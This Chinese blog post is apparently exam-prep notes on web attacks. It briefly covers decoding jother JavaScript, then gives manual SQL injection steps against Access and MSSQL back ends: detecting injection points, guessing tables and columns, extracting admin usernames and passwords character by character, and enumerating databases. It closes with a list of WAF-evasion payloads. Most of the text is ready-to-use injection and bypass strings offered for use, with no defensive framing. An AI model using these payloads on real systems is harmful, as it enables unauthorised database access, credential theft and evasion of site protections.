考核前夕之注入

来源:互联网 发布:网络测试仪杉木林 编辑:程序博客网 时间:2024/05/16 17:56

jother编码

javascript用 ! [] + - * 表示0~1000的数字编码长度不超过75个字符

+![]
+!![]
很有特征的,jother编码,一堆括号。可以在线解码,不过为了离线考试,在chrome浏览器,F12,有一个console(控制台),粘贴全部代码,回车,弹出key。

SQL注入原理-手工注入access数据库

1.理解SQL注入的原理
2.学习手工注入的过程
所谓SQL注入,就是通过把SQL命令插入到Web表单提交,或者,输入域名或页面请求的查询字符串,最终达到执行恶意命令。
首先,在以【.asp?id = 32(数字任意)】结尾的链接依次添加语句【’】,【and 1=1】,【and 1=2】,来判断网站是否存在注入点。分别显示错对错,则说明该网站存在注入漏洞
然后,添加语句【and exists(select *from admin)】,根据页面返回结果来猜解表名。页面正常显示,说明存在表名【admin】
再次,添加语句【and exists(select admin from admin)】,来猜解admin表中的列名admin。页面显示正常,说明在表中存在admin列
同样的方法,在链接末尾添加【and exists(select password from admin)】,,页面显示正常,说明在表中存在列password
最后,添加语句【and (select top 1 len(admin)from admin)>1】来猜解字段中字符的ASCII码。页面显示正常,数字依次加1,经行测试。假设>5时显示出错,则说明字段长度为5.
同样的方法,在链接末尾添加连接【and (select top 1 asc(min(admin,1,1))from admin)>97】如果显示出错,则说明第一条记录的第一位字符的ASCII码为97,对应a。

通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码。
可以得到admin字段内容为【admin】,password字段内容为【bfpms】

ASP+ACCESS 手工注入

判断是否存在注入:

- 只有这两不需要空格,下面都需要
and 1=1 返回页面正常 and 1=2 返回页面不正常
or 1=1 or 1=2

判断数据库表名、列名:
and exists(select * from [表名])
and exists(select [列名] from [表名])
判断字节长度:
order by 数字

联合查询注入:
union select 1,2,… from [表名]

根据爆出数字的情况再继续下去。

?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,password,17,18,19,20,21,22,23,24,25,26 from [D:/1.mdb].表名

ASP+MSSQL 手工注入

判断是否存在注入:

and 1=1 返回页面正常 and 1=2 返回页面不正常
or 1=1 or 1=2
判断是否为Mssql:
1.根据出错判断:
2. and (select count(*) from sysobjects)>0 返回正常就是mssql数据库
获取当前网站所用数据库库名:and 1=(select db_name())
获取第一个数据库库名:
and 1=(select top 1 name from master..sysdatabases where dbid>4)
获取第二个数据库库名:
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> ‘第一个数据库库名’)
获取其他的以此类推
获取第一个当前使用的数据库表名:
and 1=(select top 1 name from sysobjects where xtype=’u’)
获取第二个当前使用的数据库表名:
and 1=(select top 1 name from sysobjects where xtype=’u’ and name <> ‘第一个数据库表名’)
获取其他的以此类推
获取第一个当前使用的数据库中的表(users)中的列名:
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’))
获取第二个当前使用的数据库中的表(users)中的列名:
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=’users’) and name <> ‘第一个列名’)

类推

获取第一个当前使用的数据库中的表(users)中的列(uname)的字段:
简单理解:获取用户名
and 1=(select top 1 uname from users)
获取第一个当前使用的数据库中的表(users)中的列(upass)的字段:
简单理解:获取密码
and 1=(select top 1 upass from users)

SQL注入基本简单的绕过方法

基本/简单绕过方法:

输入and的时候一直报错,那么用or 试试?发现过程符合套路,那么说明and被过滤了,那就用下面的方法来恢复and

1、注释符
http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….

2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….

4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

5、内部注释

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

高级绕过方法:

1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

http://www.site.com/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 “A”)..])+/!uNIOn/+/!SeLECt/+1,2,3,4….

你可以使用如下方法测试WAF

?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

2、对字母进行编码

http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….

3、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws()

group_concat() | concat_ws()

4、利用WAF本身的功能绕过

假如你发现WAF会把”*”替换为空,那么你就可以利用这一特性来进行绕过

‍‍‍‍‍‍‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4….

其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

原创粉丝点击